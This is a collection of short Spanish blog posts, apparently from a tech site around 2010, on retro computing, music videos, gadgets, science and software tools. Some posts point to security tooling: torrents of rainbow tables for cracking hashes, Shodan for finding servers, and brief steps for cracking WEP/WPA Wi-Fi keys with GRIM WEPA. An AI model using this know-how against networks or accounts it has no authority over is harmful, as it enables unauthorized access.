Mi experiencia con el Commodore 64 es nula. Aunque más tarde di el salto desde mi Spectrum a Commodore, pero al modelo Amiga 500. Sí ya sé que lo he dicho muchas veces, pero es que... es que soy como un padre que se lleva todo el día diciendo lo orgulloso que está su hijo o hija. Pues yo me siento igual de orgulloso de haber tenido (todavía tengo el 500) un 500 y un 4000 :-)

Bueno, lo que quería compartir es La guía definitiva de programación de Commodore 64 (PDF, 55Mb). Que aunque como ya he dicho, nunca tuve uno, sí que me gusta guardar este tipo de documentos, entre otras cosas porque son verdaderas joyas. Y seguro que tenemos algún lector que ha tenido o tiene uno.

Entorno de pruebas de seguridad para aplicaciones …

Websecurify es, como titulaba esta entrada, un entorno de pruebas de seguridad para aplicaciones web, haciendo uso de técnicas de descubrmiento (discovery) e inyección de datos aleatorios (fuzzing). Es extensible, puedes exportar informes y multiplataforma.

Dispones de versiones para: Windows, Linux y Mac. También puedes descargarte el código fuente.

Para más información, puedes visitar su blog o su wiki.

Una historia de amor

Situémonos en 1988, ¿Ya estás?, Ok, piensa en Amiga Workbench, 1.3 para ser más exactos. Supón que dispones de un cliente BBS y un nodo FIDONET, ¿Estás? Vale, pues ya estás listo para jugar. A love story, es un juego donde tienes que resolver un misterio/romance y los recursos que tienes son los descritos anteriormente.

Además este juego es multiplataforma, con lo que puedes descargarlo para Windows, Mac y Linux. Si tienes problemas con la descarga, aquí tienes un mirror: Windows, Mac y Linux.

Los correos históricos de Usenet

Seguro que si eres de la vieja escuela como nosotros, habrás usado Usenet o quizás lo recuerdas como las famosas News. Aparte de que aún sigue en activo con todos sus grupos clásicos y seguro que alguno más, he visto esta colección de las entradas más famosas recopiladas por Google. Antes, todo el mundo usaba Usenet, por lo tanto era un canal principal de comunicación para anunciar algo o buscar ayuda sobre un tema. Por esto verás que la mayoría de los hitos y noticias (no sólo de Internet, sino del mundo) se han reflejado en las Usenet (por ejemplo, esta es la primera entrada sobre el desastre de Chernobyl)

Apagón "antológico"

Pues eso, que no te pille:

Vía Microsiervos

Ok Go - This Too Shall Pass, no te pierdas este …

 

Ya sé que es lunes por la mañana, pero no viene mal un poco música también ¿no?. Mira este video, y si puedes, en alta definición mejor.

Grupazo, canción y video espectacular. Máquina Rube Goldberg alucinante.

Ok Go, visto en 86400.

Isaac Asimov hablando sobre el futuro de los …

Este video tiene entre 35 y 40 años, y en él, el maestro (me quito el sombrero y hago una reverencia) Asimov habla desde la incorporación de ordenadores en nuestro cuerpo hasta incluso el la implantación del GPS.

Siempre fantástico el maestro Asimov.

Visto en CrunchGear.

Presentando el PlayStation Move

La PS3 ya tiene un mando basado en movimiento, tipo Wii. Pero parece que mucho mejor. Para empezar jugaremos en 1080p y combinado con la cámara ofrecerá una mayor precisión de movimento y una posición absoluta en un espacio 3D (esto puede ser espectacular, necesitarás una habitación más grande para jugar).

 

La luz de color en el mando ayuda a seguir el movimiento para que lo capture la cámara.

La cosa promete.

Vamos levántate que es domingo, My Bloody …

Thorn

You made me realise

Sin palabras, para mi entre los 10 mejores grupos de la historia de la música.

My Bloody Valentine.

Regleta de enchufes para adornar

La regleta es muy bonita. Ideal para usarla como un adorno más de escritorio o en cualquier otra parte visible. Ahora a ver de que forma conectas todos los cables sin que se vean. :-)

Nota: el formato de los enchufes es americano.

Visto en gizmodo.

Evita sorpresas por exceso de velocidad

Tal y como está la economía hoy en día y el tema de los puntos, lo que menos queremos es recibir ninguna cartita de tráfico por exceso de velocidad. Aunque contra los nuevos radares hay poco que hacer.

Pero con respecto a los radares de velocidad sin inteligencia artificial, sí que podemos hacer algo, por ejemplo marcar en nuestro GPS dónde se encuentran dichos radares. Pero caramba, cada vez que hagamos un viaje tenemos que planear la ruta y buscar los radares que se encuentren en nuestra ruta. Un poco pesado ¿no?

Conversor USB a PS/2

Esto es tener recursos! Aunque no sé yo si eso funcionará. :-)

Enlace original.

45 Técnicas y herramientas útiles (y nuevas) para …

En esta selección podrás encontrar desde calendarios, formularios, botones, navegación, debugging, optimización, etc. También algunos plugins JQuery para ayudarte a extender la funcionalidad de tu web y aumentar la experiencia del usuario con componentes preparados para usar o soluciones con código.

La última parte también ofrece recursos útiles para aprender, por ejemplo, a mejorar la compilación, técnicas de programación JavaScript, algunos frameworks de JavaScript, etc.

Todo en la fantástica  SmashingMagazine.

Linux+ de Marzo 2010, disponible

Entrando en PicandoCódigo he visto esta entrada sobre el número de Marzo de la revista Linux+, que ya comentamos en CyberHades, que es gratuita. Ya ni me acordaba , así que para recordarla (pocas revistas de este nivel son gratuitas, y además en castellano) y no olvidarme más de descargarla cada més, lo mejor es que te suscribas a su newsletter, aquí.

Puedes descargarla en PDF desde aquí.

Bájate las Rainbow Tables pre-generadas

Muchos sabemos la importancia que han tomado las llamadas Rainbow Tables hoy en día, por como aceleran el proceso de crackeo descifrado de códigos hash, normalmente MD5 y SHA-1.

En la página de nomorecrypto.com han puesto en marcha un pequeño proyecto cuya idea es compartir dichas tablas a través de las redes peer-to-peer o P2P. Actualmente disponen de 2 archivos torrent. Uno de ellos es una tabla de 120Gb y el otro de 31Gb.

A ver quién apunta mejor

Opera 10.50: 78 fallos Safari 4: 159 fallos Chrome 4: 218 fallos Firefox 3.6: 259 fallos Internet Explorer 8: 463 fallos

Estos son los números que han publicado en el blog de Chromium después de haber ejecutado una batería de más de 5.000 tests de conformidad o cumplimiento de los estándares.

Para la ejecución de estos tests, han usado Sputnik. Un proyecto de código abierto que trata de tocar todos los aspectos definidos en ECMA-262. Este proyecto se puede ver como un complemento a los tests de compatibilidad Acid3.

Fotografías de una rareza volante

El misterio ruso: el Ekranoplano

Ver un ekranoplano es algo complicadísimo pero poder observar, y fotografiar, el modelo MD-160 Lun atómico es un verdadero lujo. Es la rareza por excelencia dentro de la aeronáutica. Fue un modelo único que jamás se llegó a terminar, por falta de presupuesto, que trasportaba ¡¡seis misiles atómicos!! sobre el fuselaje... ahí es ná, cuando un ruso piensa en esto lo hace a lo grande: estaba equipado con ocho motores Kuznetsov NK-87 el MD-160 que le daban una velocidad máxima de 550 kilómetros por hora y una capacidad de carga de 1000 toneladas, su misión consistía en transportar y lanzar misiles nucleares P-270 Moskit. Era bastante inestable y el mar picado era su talón de aquiles. Un fotografo ruso lo encontró abandonado en un desguace y ha realizado una serie de fotografías que estan dando la vuelta al mundo.

Microsoft Security Essentials, la solución …

He estado probando la suite Microsoft Security Essentials, gratuita para protección antivirus, antispyware, etc ... malware en general, creada por Microsoft. Y la verdad es que me he llevado una buena impresión. Básicamente es una versión de Forefront pero sólo la parte cliente (y con las opciones orientadas más al usuario genérico).  

Haciendo pruebas de rendimiento e incluso poniendo a prueba el motor antivirus introduciendo algunos virus que tengo en varios pendrives, ha respondido muy bien.

Imágenes de relojes astronómicos

En el siguiente enlace podéis ver una colección de imágenes sobre relojes astronómicos. Algunos de una belleza insólita y con varios siglos de antigüedad.

Imanes de las App de Apple

 

Puedes comprarlos aquí.

Visto en TheAwesomer.

Tuneando el LHC: imanes más potentes

La idea es sustituir los electroimanes por unos nuevos construidos por el LARP (Programa de Investigación del Acelerador LHC) que usan un avanzado material superconductor, logrando un campo magnético lo suficientemente fuerte como para enfocar haces intensos de protones en las regiones de interacción del LHC, por tanto, los experimentos podrán recolectar más datos en menos tiempo. Pero también implicará que los electroimanes, que enfocan los haces hacia pequeños puntos en las regiones de interacción y que están a menos de 20 metros de los puntos de colisión, sean sometidos a una radiación y un calor mayores que aquellos para los que están diseñados actualmente.

Bobby McFerrin demuestra el poder la escala …

Bobby McFerrin (el de “Don’t Worry Be Happy”) demuestra con ayuda del público el poder de la escala pentatónica en el evento “Notes & Neurones: in Search of The Common Chorus”, en el World Science Festival de 2009.

Realmente espectacular.

Visto en BoingBoing.

La Hora Del Planeta (2010)

_Día 27 Marzo [20:30 - 21:30]_

PARA ahorrar, para frenar el calentamiento global, para divertirte con unas linternas, para relajarte, para hacer el amor a la luz de las velas, para contar historias de miedo con tus hijos, para recordar como se vivía antes, para encontrarte contigo mismo,  para dar un paseo, para solo hablar... para todo o para nada.

Ubuntu + fotos + flickr = Nautilus Uploader

Flickr no tenía una herramienta específica, basada en linux, para subir las fotos hasta que ha llegado Nautilus Flickr Uploader. Es un plugin para el explorador de archivos predeterminado del escritorio de GNOME.

Completamente desarrollado en Perl y las librerías de GNOME, ello le otorga una cohesión muy grande y un funcionamiento sin inconveniente alguno, a contramano de algunos plugins desarrolllados en C/C++. Es muy simple de instalar, un click y tu synaptic se encargará.

Robot Android

Este robot usa un Android para hacer como cerebro para andar e incluso hablar.  Según sus autores es relativamente simple de construir, y usa un Android HTC G1. Un detalle del potencial, usa la brújula del teléfono para orientarse ... pero puede hacer otra gran cantidad de cosas (viendo este ejemplo, usar el GPS, cámara, etc ...)

Esta es una lista de los componentes usados:

• 16$ Arduino para controlar los motores
• 3$ Micro Servo
• 0,25$ Hex inverter (puerta lógica, inversor)
• 4$ placa HTC USB
• 3$ Veroboard
• 4$ varios, cables, ruedas, etc...

Total 30$, que no está mal.

Para más información echa un vistazo al blog de los creadores:

Generador de códigos QR

Ya conocemos los códigos QR (códigos de barras cuadrados) para obtener direcciones web, coordenadas, contactos o cualquier texto de una forma rápida desde tu teléfono. Tan solo tienes que apuntar con tu cámara al código para ver el contenido del QR. Existen varias para Android e iPhone, yo en mi Android uso "Barcode Scanner".

Otra buena utilidad es compartir aplicaciones entre amigos. Si instalas la aplicación "App Referer" puedes generar un código QR para todas tus aplicaciones instaladas para luego mostrarla en la pantalla de tu móvil y que un amigo pueda instalarla simplemente apuntando con su cámara a tu móvil.

Usa tu sudadera con capucha para transportar tu …

Otro trailer de Tron Legacy, la cosa promete ...

Por fin nos muestran algo de la trama, realmente la cosa promete.

Visto en nuestra querida Microsiervos.

Revisión de logs después de un incidente de …

Aquí tenemos otra de esas chuletas, cheat sheets, guía rápida, llámalo como quieras sobre los pasos a seguir después de un incidente de seguridad, aunque también podrías aplicar esta guía a tu chequeo rutinario de los logs. Porque haces chequeos rutinarios de tus logs, ¿no? ;-)

Además de la versión embebida del documento en cuestión, también tienes una versión HTML, DOC y PDF.

Freaklances. Segundo y tercer capítulo.

_

Genial. Como la vida misma… y sé que me repito.

Capítulo 1

Visto en freaklances

La cara del Dr. Gang

Con un cartón que pone "Desvela el misterio del Dr. Gang"

Corrió como la polvora un rumor que decía que en los últimos capítulos se vería la cara del villano pero era completamente falso.

DiC Enterprises sabía perfectamente la curiosidad que existía en torno a este asunto, así que decidió comercializar la figura de acción del Dr. Gang con, probablemente, una de las tácticas de marketing más astutas.

Viajar al espacio por 500 $

El precio actual de una plaza al espacio en Virgin es de unos 200.000 dólares, aunque no por ello tiene demasiados problemas para tener ya cientos de reservas. Se estima que en los próximos años haya unos 100.000 vuelos con éxito y que su precio se devalue hasta alcanzar los 475 $.

Como reza un post... en los 70 se decía que en el 2000 podriamos viajar a la luna con asiduidad...

Software Libre para la PYME

OpenPYME es un proyecto promovido por la Oficina de Software Libre de la Universidad de La Laguna, bajo el marco de colaboración científico-tecnológico entre la Agencia Canaria de Investigación, Innovación y Sociedad de la Información del Gobierno de Canarias y la Universidad de La Laguna. El objetivo fundamental del proyecto OpenPYME es acercar las herramientas TIC a las PYMEs para mejorar su gestión y competitividad incorporando, para ello, tecnología open source. Además, se pretende una activación de la demanda de asesoramiento especializado de empresas TIC.

Visto en Javahispano.

Sismos ocurridos en el mundo en una semana

Aquí dábamos la información de varias páginas que hacían referencias de terremotos plasmados en mapas. Google ha creado una web basada también en los datos sismológicos del United States Geological Survey (USGS) pero más bonita y más cercana.

Nomenclatura: los círculos amarillos son terremotos de la semana pasada, los naranjas de ayer y los rojos ocurrieron en la hora pasada.

Parece que ha cogido carrerilla:

Haití (12 enero)

Más cheat sheets (chuletas)

Creo que esta es la página más completa que hemos encontrado hasta ahora que tiene la colección más grande de cheat sheets (chuletas).

De casi todo, Informática, Astronomía, Cálculo, etc …

http://www.cheat-sheets.org/

Buscador de servidores

Cuando digo servidores, me refiero a los servicios que sirven datos, como un servidor web, ssh, ftp, etc.

En ciertas ocasiones nos puede interesar encontrar quien esta corriendo cierta versión de apache por ejemplo, o un IIS en el país X. Para ello tenemos este buscador llamado Shodan, un buscador de nodos que corren ciertos servicios y digo nodo, porque el resultado puede ser un ordenador, como un router o cualquier otro dispositivo que esté conectado a internet.

Cómo hacer un pequeño osciloscopio USB por 5€

Usa un Atmel Tiny45, tiene dos entradas analógicas y suministra 5V desde los cuatro pines que tiene a la derecha. No lleva oscilador, el software sincroniza con los 16.5Mhz  del reloj del USB. El firmware en el Tiny45 está escrito en C y compilado con Winavr.  La aplicación para visualizar la información, está hecho en Visual Studio 2005 y puedes descargar el código aquí.

Perpetuum Mobile, Penguin Cafe Orchestra, una …

Simplemente genial, son 4 minutos de música pura.

Dedicado a mi amigo DuenD, fue él quien me descubrió este grupo hace mucho mucho tiempo en una Galaxia muy lejana ;)

The Penguin Cafe Orchestra.

In-Between Ends

In-Between Ends from Alex Glawion on Vimeo.

Onírico video de animación en 3D con efectos de sonido espectaculares.

Creado por Ales Glawion.

Visto en The Awesomer.

137 años de Popular Science a disposición de todos

La revista de ciencia Popular Science ha puesto a disposición del público y en colaboración con Google, su archivo, que acumula ni más ni menos que 137 años.

Podéis acceder a dicho archivo desde la propia web de Popular Science o desde el mismo Google.

YAPM: ¿mejor que Process Explorer de SysInternals?

Windows

Todos conocemos el Process Explorer de SysInternals (herramienta fundamental e imprescindible para analizar tu sistema), pues en 4SysOps nos comentan que YAPM (gratuito) incluso es mejor … pero eso tienen que demostrarlo.

Vamos a ver alguna de sus características:

• Mejor diseño de los botones e interface
• Control de procesos en equipos remotos (vía WMI ó servidor YAPM propio)
• No sólo podrás monitorizar procesos, también tareas, trabajos y servicios (task, jobs & services).
• Varios métodos de matar (kill) un proceso y sus hilos.
• Ver dependencias, podrás ver las DLL de las que depende un proceso. Sólo funciona en Vista y XP, pero no en Windows 7.
• Método avanzado de búsqueda.
• Monitor de red integrado, ideal para saber qué procesos tiene alguna conexión establecida.

Yo de momento tengo los dos, pero me está gustando este YAPM.

Descárgalo de su web oficial aquí.

Sabremos qué es la isla de Perdidos en el episodio …

 

Según Uberblog la isla se define con una palabra de cuatro letras (que contiene una "o") y además todo el significado de la isla se revelará en el episodio 9 de esta temporada (estamos en el episodio 6, viene ahora el 7), en este episodio se habla de la historia del personaje Richard Alpert (el hombre que nunca envejece).

Yo no me creo nada ya de Perdidos ;) pero bueno, espero ansioso este episodio.

"Guille" los nuevos radares inteligentes

Lleva implementada una especie de inteligencia artificial y es lo último en tecnología de videocaptación. No sé si poner el post en IA o en robótica. :-)

Visto en nomepuedocreer.com

Disfruta la lectura de tus noticias favoritas

Eso es lo que nos permite este servicio llamado Readability. Este servicio es super sencillo de usar y cambia la experiencia de la lectura en la web de forma astronómica, especialmente esas páginas cuya distribución y organización dejan mucho que desear y cuya lectura se hace casi imposible.

La forma de usar este servicio es muy sencilla. Sólo tenéis que visitar su página, seleccionar el estilo de lectura (ebook, periódico, novela, etc), el tamaño de la letra y el tipo de margen. Luego arrastras el botón que dice “Readability” a tu barra de marcadores (bookmarks). Una vez hecho sólo tienes que visitar tu blog favorito, seleccionar la entrada que quieras leer y hacer click sobre el marcador (bookmarklet) que acabamos de crear.

Wordpress desde la línea de comandos

wpCLI es un plugin para Wordpress que nos habilita una consola virtual desde la que podemos manajer nuestro blog. Es un proyecto muy nuevo y por lo tanto con mucho camino por delante.

La idea es muy buena. Disponer de una consola virtual para poder administrar las tareas del administrador de un blog es genial, sobre todo, no sólo porque nos puede facilitar muchos las cosas a la hora de poder automatizar alguna tarea, sino que además nos permite ejecutar operaciones de forma muy rápida. Para ejemplo un botón, este plugin por ejemplo nos ofrece la posibilidad de borrar todos los comentarios que provengan desde cierta IP.

NASA's Blue Marble, las mejores fotos de la Tierra

Colección de las fotos más detalladas en color real de toda la Tierra hasta la fecha. Usando una colección de observaciones por satélite, científicos y técnicos en imágen  han unido imágenes desde 2001 de Tierra, océanos, mares de hielo y nubes en un mosaico de cada kilómetro cuadrado de nuestro planeta.

Increible el color real, es una auténtica joya suspendida en el espacio... y nos la estamos cargando.

"JetBlue 171 contact departure" dijo el niño

...a lo que el piloto colaciona: "Over to departure JetBlue 171, awesome job".

Traducción: "Jet Blue 171, vía libre para el despegue", dice la torre de control. El piloto responde: "Libre para el despegue, Jet Blue 171, buen trabajo". O_o

La realidad siempre superará a la ficción. Esta mañana me despierta la radio con la increible noticia de que un chaval estubo controlando el trafico aéreo en el John F. Kennedy de Nueva York, uno de los aeropuertos más importantes del mundo. En otra locución, el niño dice "MS 4-0-3, libre para el despegue", y después añade: "Adiós, amigo". A lo que el piloto responde: "Adiós, amigo". Las autoridades estan investigando los hechos. Es supuesto que es hijo de uno de los controladores que lo dejó pasar a las instalaciones de seguridad, algo terminantemente prohibido. El padre ya está suspendido.

Controlando ua máquina de pinball con la mente

En el ceBIT se ha probado una vez más, que podemos controlar juegos con la mente, esta vez con uno de los juegos más clásicos, el pinball. El brain-controlled pinball machine es un trabajo del Berlin Brain Computer Interface.

La foto es realmente impresionante.

Visto en io9.

Un Sigma 200-500mm f/2.8 EX DG a pulso??

El fotógrafo de animales Juza sosteniendo el Sigma a pulso.

"Siempre cojo a pulso mi Canon 600 f/4 IS y me preguntaba si podría sostener este monstruo de Sigma... Obviamente puedo, pero sólo por hacer la gracia y durante unos pocos minutos."

Es el cañón más luminoso que existe (f/2.8) a 500 mm, pesa 16 kg y cuesta como a 1.000 euros el Kg.

Visto en Microsiervos

Descripción de hardware en Python

MyHDL es un paquete para Python que nos permite el diseño de hardware. Recuerdo hace muchos años haber usado VHDL para este propósito. Ahora con este paquete podemos hacer esto en un lenguaje sencillo y de alto nivel. Además, MyDHL puede convertir tus proyectos a Verilog o el propio VHDL.

La instalación, en Karmic Koala, es tan sencilla como:

sudo add-apt-repository ppa:balau82/ppa
sudo apt-get update
sudo apt-get install myhdl

Y si Karmic no es tu sistema, siempre puedes seguir los pasos desde aquí.

25 revistas online para diseñadores gráficos

Son nada más y nada menos que 25 revistas online gratuitas pensadas para los diseñadores gráficos. La recopilación la hace la gente de free-web-design.co.cc.

Tocan muchos palos: fotografía, 2D, 3D, comics, cine, cortos, posters, ilustración… Muchas se pueden descargar en pdf para observarlas con más detenimiento, y sacar después alguna idea ;-)

Aquí la lista.

Sigue la aproximación a Fobos en tiempo real

Foto: NASA (Fobos fotografiado por la Mars Express)

La sonda Mars Express pasará a 67 km (rozando) el satélite más grande de Marte, Fobos, mañana miércoles. Esta pasada seguro que nos aclara algunos de los misterios que rodean a este satélite. Puedes seguir este vuelo rasante sobre Fobos desde el blog de la Mars Express. Empezará el miércoles 3 de Marzo a las 20:55 hora GMT.

Esperemos que no le ocurra lo mismo que a la sonda Fobos 2 ...

Nuevo video musical de los Ok Go con efecto …

Los Ok Go, por si alguien no lo recuerda, son aquellos que hicieron una famosa coreografía sobre cintas de correr. Ahora la vuelven a liar con This Too Shall Pass, un “efecto mariposa” coordinado con su música de 3 minutos y medio de duración (ahí es ná). Y de mariposa sólo tiene el nombre… coches, carritos volando, televisores estallando, cañones de pintura… todo un espectáculo, sí señor.

Cuidado con la tecla F1 de ayuda en Internet …

Windows

Si usas aún Windows 2000, Windows 2003 ó Windows XP, y además el navegador Internet Explorer 6,7 ó 8, ten cuidado e ignora cualquier mensaje que te diga que pulses la tecla F1 en el teclado. Esta tecla, como sabéis, activa la ayuda, pero si tienes la combinación de antes explicada de sistema operativo + navegador, tienes que ignorar este mensaje ya que pulsando dicha tecla se descarga e instala software malicioso en tu ordenador.  Esta vulnerabilidad existe por la forma en que VBScript interactúa con los ficheros de ayuda cuando usas Internet Explorer.

Evolución del iPhone

Enlace original.

Agenda de exposiciones de fotografía: MARZO

Fotografía ganadora del World Press 08

Como sé que son muchos nuestros seguidores (Newlog, Diego Narciso, Nickargent...) del tema de fotografía voy a intentar desarrollar una pequeña agenda de eventos y exposiciones cada primero de mes.

Si sabéis de alguna exposición podéis actualizarlo en los comentarios. También si exponéis en algún sitio y queréis promocionaros, desde aquí os invitamos a que lo hagáis libremente, dejad vuestros datos.

El PlanetSolar, el mayor barco solar que existe, …

Alguno le ve un parecido al USS Enterprise o es que yo soy muy trekie??

Su construcción ha tardado algo más de un año y posee 31 metros de eslora y 15 metros de ancho. Sus 1.640 metros cuadrados de paneles solares lo hacen el mayor barco solar que existe. El PlanetSolar tendrá su presentación oficial en el mes de abril.

Disk Space Fan, para analizar el contenido de tu …

Windows

Esta aplicación analiza el contenido del disco duro y luego te muestra en un gráfico el resultado.  Tiene dos características que lo hacen especial al resto de aplicaciones similares, la primera es la velocidad a la hora de analizar el disco duro y la segunda es la posibilidad de hacer click en cualquiera de los resultados mostrados (sectores)  e ir avanzando (haciendo un zoom con una animación espectacular) hasta el nivel mismo del fichero.

Una sinfonía de Ciencia, la poesía de la realidad

A ver si ya nos enteramos de una vez que la Ciencia es FUNDAMENTAL para el desarrollo de un país.

Hay Ministerios y Organismos (inombrables) que SÍ NECESITAN RECORTE.

NO AL RECORTE EN CIENCIA E INVESTIGACIÓN

Explicando qué es el sexo, con lápices y …

SEx from Alvaro C on Vimeo.

Visto en YaEstáElListoQueTodoLoSabe.

Lego Starwars

Colección de imágenes donde aparecen storm troopers (o soldados imperiales) de Lego, creados por Balakov.

Aparte de la foto que hemos puesto (soldado imperial en Facebook), no os perdáis todas sus fotos aquí.

Visto en GeeksAreSexy.

Una canción para este domingo de viento, Today is …

Yo la tengo, de gira por España, si vas al concierto de Valencia nos veremos en la Sala Mirror el día 10 de Marzo.

http://www.yolatengo.com/

Y de paso, un video clásico, “Sugarcube”:

Alicia en el País de las Maravillas, de 1903

Es la primera adaptación al cine del libro de Lewis Carroll, creada 37 años después de escribirlo.

Son 12 minutos de los cuales han sobrevivido sólo 8.

Visto en Neatorama.

Terremoto en Chile, posible riesgo de Tsunami en …

Todos estamos atentos a las últimas noticias del terremoto que ha sacudido Chile. Fijáos en la imágen donde aparece la costa de Chile y hasta donde puede llegar el peligro de Tsunami en el Pacífico (parece que ha pasado la alerta en Hawai, pero ahora lo está Japón).

Desde CyberHades queremos dar fuerza y ánimo a nuestros hermanos chilenos para superar este desastre.

Visto en BoingBoing.

El primer corto hecho en ASCII

A man blowing a bubble (Un hombre haciendo una pompa - de chicle se entiende -)

Visto aquí.

Usando Microsoft Excel como programa de dibujo

Video en time-lapse que muestra al menos 13 horas de trabajo creado por el artista shukei01, donde usa las herramientas de dibujo de Excel (Office) para crear este espectacular dibujo.

Visto en Neatorama.

Cheat Sheet (guía rápida) para Nmap

En SecurityByDefault han creado esta estupenda chuleta/cheat sheet  (aquí en inglés) de Nmap versión 5.

Otra para nuestra colección.

Genial trabajo, estaremos atentos a las nuevas chuletas que han prometido hacer ;)

Rompiendo claves WEP y WPA a golpe de ratón

La herramienta se llama GRIM WEPA, está desarrollada en Java y preparada para ser instalada sobre Backtrack 4.

Los pasos son tan sencillos como:

• Poner tu tarjeta en modo monitor.
• Instalar GRIM WEPA, si no lo tienes instalado aún.
• Ejecutar dicho programa.
• Seleccionar to tarjeta, tu objetivo y el tipo de ataque.
• Y por supuesto esperar.

Esto no es ninguna técnica nueva que acelera al crackeo de las claves WEP o WPA, sino una interfaz gráfica que en varios clicks nos permite ejecutar dicho proceso.

Todo en uno, PC, Wii, Xbox 360 y PS3 en un solo …

Indicaciones para realizar la mayor ambición del ser humano ;), crear una máquina recreativa que incluya la Wii, la PS3, Xbox 360 y un PC (para emular juegos MAME). También se explica el consumo eléctrico, la forma de commutar entre los diferentes modos de video, etc ...

Visto en Bit-Tech y HacknMod.

StarCraft 2, para mediados de año

Parece que ya se aproxima la hora (entre Mayo y Junio) de disfrutar del nuevo StarCraft. Publicado en el último Blizzcast parece que esta es la intención anunciada por Blizzard.

Ahora mismo ya está la Beta, a la que sólo algunos afortunados han podido acceder.

En este video tienes una batalla de 23 minutos entre los Terran y los Zerg:

Visto en Joystiq.

Graffiti P2P

Para el que no lo sepa, Blockbuster es un videoclub.

A Arduino le sale competencia

Se llaman FEZ Domino y FEZ Mini.

Son placas hardware de código abierto diseñada para principiantes y basadas en el chipset USBizi. Ofrecen interfaz SD y host USB. Ojo al dato: basado en el framework de Microsoft .NET Micro. El circuito se programa en C# desde Microsoft Visual Studio 2008 C# Express Edition. Me pregunto si se podría programar desde Mono.

Más información en la web oficial.

Science recoge la protesta de los investigadores …

Science 26 February 2010: Vol. 327. no. 5969, pp. 1078 - 1079 DOI: 10.1126/science.327.5969.1078-b

LETTERS Spain's Budget Neglects Research

Research and innovation are crucial for the development and well-being of society. Now, in times of economic downturn, the urgency of changing the economic model to provide sustainable growth has become apparent. However, investment in R&D is the first collateral damage in the Spanish national budget, and many regional governments have also cut spending; all this in spite of the fact that Spain only dedicates 1.35% of its gross national product to R&D (1). These cuts will deeply affect aspiring researchers; researchers with temporary contracts will find that, after years of work and training, their contracts may not be renewed.

Cartografía de la Isla de Perdidos

 

Si estas como yo, perdido con "Perdidos" (Lost), nada mejor que un buen mapa para por lo menos, saber donde se encuentran todas las ubicaciones que han ido apareciendo a lo largo de la serie.

En io9 han publicado una artículo con diferentes mapas y localizaciones de los lugares más característicos de la serie como “The Hatch”, todos sacados de Lostpedia:

Fan Maps

Lost Map Locations

El sillón expandible

 

Muy buena idea (que cuesta 799$), hecho de madera y papel reciclados, es un sillón expandible (hasta 16 plazas)  que puedes ajustar a tu gusto dependiendo de las necesidades.

FlexibleLove Furniture.

Visto en TheFireWire.

Anuncio de atún en conserva, al estilo Star Wars …

Acojonante, video de 1978 anunciando un atún en conserva “Hagoromo”.

Y yo que pensaba que lo había visto prácticamente todo sobre Star Wars … ;)

Visto en Kirai.

Herramienta multiuso de MacGyver

Visto aquí.

Pen impenetrable e indestructible: Corsair Padlock …

Corsair Padlock 2: impenetrable e indestructible

Corsair presenta una memoria USB ultra resistente a los golpes, protegida por una contraseña mediante teclado e información interna encriptada mediante un cifrado de 256 bits.

La unidad tiene 8 GB de almacenamiento y no necesita ningún software para la funcionalidad de PIN y el cifrado de trabajo.

Precio: 42 €.

Visto en gizmotica.com

El gobierno del Reino Unido libera documentación …

En este enlace podemos acceder a varios ficheros (PDF) con documentación sobre casos relacionados sobre OVNIs ocurridos entre los años 1994 y 2000. Según comentan en dicha página, debido al tamaño de los documentos, recomiendan que antes de abrirlos los descargues a tu ordenador.

Búsquedas anónimas en Google

Creo que ha día de hoy a nadie se le escapa el control que tiene Google de nuestros datos. Ya no sólo aquellos que usamos Gmail, sino los que usamos cualquiera de sus servicios. ¿Conoces a alguien que no use ningún servicio de Google?

En este post no te voy a decir como dar de baja tu cuenta de Gmail, pero sí voy a hablar de un servicio que nos ayudará a ser un poco más anónimos en nuestras búsquedas en el buscador por excelencia.

Zonas extrañas en Google Maps: el mayor cementerio …

La zona pertenece al "Grupo de Mantenimiento y Regeneración 309 de los EEUU", ubicado en la Base Davis-Monthan, en Tucson. Allí hay almacenados aproximadamente cinco mil aviones, de diferentes tipos y generaciones.

Artículo relacionado

Visto en popsci.com

Crea URLs sospechosas

Twitter puso de moda los servicios para acortar las URLs por la limitación de los mensajes a 140 caracteres. Ahora nos llega ShadyURL, un servicio, que además de acortar una URL (opcional), también es capaz de crear URLs que tienen una pinta sospechosa, como por ejemplo: http://5z8.info/whitepower_o4q6e_inches-now.

Si has pinchado sobre el enlace sabrás que se oculta detrás del mismo. :-)

Ya me veo a los spammers usando este servicio.

DreamPie, un nuevo concepto de consola para Python

Como dice el título, DreamPie es un nuevo concepto de consola para Python y según define su web, una consola que pretende ser fiable y divertida.

Entre sus características cuenta:

• La consola se divide en 2 partes, la parte dónde puedes introducir los comandos y otra dónde puedes ver histórico de los comandos que has ejecutado y sus resultados.
• Tiene una opción llamada Copy Code only (copia sólo el código) que te permite copiar el código que has ejecutado y guardarlo en un fichero, previamente formateado.
• Auto completado de nombres de ficheros y atributos.
• Visualización de los parámetros de las funciones, así como su documentación.
• Te permite guardar el histórico completo en una fichero HTML para uso posterior.
• Tiene soporte de matplotlib, el cual te permite dibujar gráficas.
• Soporta Python 2.5, 2.6 y 3.1, Jython 2.5 y IronPython 2.6.
• Funciona bajo Windows y Linux.
• Licencia GPL V3.

El día a día de una tripulación de avión

Tanto los que solemos utilizar este medio de transporte, como los que no, tendemos a olvidar lo que hay detrás de un viaje a 800 Km/h. Un 99,9% de eficacia es una ardua labor que es remunerada pero que no siempre es valorada.

El reglamento de seguridad de un hotel de seis estrellas, el personal técnico de ingeniería y una responsabilidad superior a la de cualquier cuerpo de bomberos conllevando la salvaguarda de la vida de varios cientos de personas, es el significado de "tripulación". Es cierto que no todas llegan a la excelencia pero lo que si es seguro es de que si estan ahí es porque lo han sudado y, no lo olvidemos, lo sudan a 15.000 pies del suelo.

La NASA y la cinta americana

La cinta americana (duct tape), no sé si tendrá algún otro nombre en Español, pero para aquellos que la conozcan sabrán que este material es milagroso. Y si no que le pregunten a la NASA.

En este enlace podéis todas las ocasiones en que la NASA ha hecho uso de esta cinta.

Necesitará la Spirit un poco de esta cinta :-)

Tres minutos de Haití en HD

Impresionante montaje realizado por el cineasta y fotógrafo Khalid Mohtaseb.

Visto en Mangas Verdes

Enchufe USB

Si estas de obra en casa y tienes que cambiar los enchufes, éste tipo te va a venir muy bien, por lo menos para tu oficina :-)

No sé si sacarán alguna versión Española o no Estadounidense, pero siempre puedes usar un adaptador.

Premio fotografía científica

Esta hormiga asiática está colgada sobre una superficie de cristal y agarrando 100 veces su peso con las mandíbulas.

